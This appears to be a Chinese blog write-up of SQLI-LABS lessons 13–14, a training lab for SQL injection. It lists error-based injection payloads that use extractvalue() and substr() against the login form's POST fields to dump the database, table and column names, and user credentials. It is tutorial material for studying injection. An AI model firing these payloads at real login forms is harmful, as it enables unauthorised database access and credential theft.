SQLI-LABS Less-13 到 Less-14

Less-13 到 Less-14 是报错注入

不能使用 union()函数,或者没有回显位

Less-13

闭合字符:('$uname') 或 ('$passwd')

判断闭合字符:

uname=username'&passwd=password&Submit=Submit
#报错,提示了 'password') LIMIT 0,1'
uname=username') or 1 #&passwd=password&Submit=Submit
#正确,确定了闭合字符

判断字段数:

uname=username') order by n #&passwd=password&Submit=Submit
#确定字段数为2

判断回显位:

uname=username') union select 1,2 #&passwd=password&Submit=Submit
#发现没有回显位,改用报错注入

查询当前数据库:

uname=username') and extractvalue(1,concat(0x7e,(select database()))) #&passwd=password&Submit=Submit

查询当前数据库的表:

uname=username') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"))) #&passwd=password&Submit=Submit

查询当前表的字段:

uname=username') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))) #&passwd=password&Submit=Submit

查询数据:

uname=username') and extractvalue(1,concat(0x7e,(select group_concat(username,'@',password) from security.users))) #&passwd=password&Submit=Submit
# extractvalue() 和 updatexml() 最多输出32个位,数据没有输出完,借助 substr()

uname=username') and extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),31,31))) #&passwd=password&Submit=Submit

uname=username') and extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),62,31))) #&passwd=password&Submit=Submit
...

# 0x7e 占了一位,所以一次只能查询得到31位

Less-14

跟 less-13 一样的注入手法

闭合字符:"$uname" 或 "$passwd"

uname=username" and extractvalue(1,concat(0x7e,(select database()))) #&passwd=password&Submit=Submit
#查询当前数据库

uname=username" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"))) #&passwd=password&Submit=Submit
#查询当前数据库的表

uname=username" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))) #&passwd=password&Submit=Submit
#查询当前表的字段

uname=username" and extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),1,31))) #&passwd=password&Submit=Submit

uname=username" and extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),31,31))) #&passwd=password&Submit=Submit

uname=username" and extractvalue(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),62,31))) #&passwd=password&Submit=Submit
...
#查询数据

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值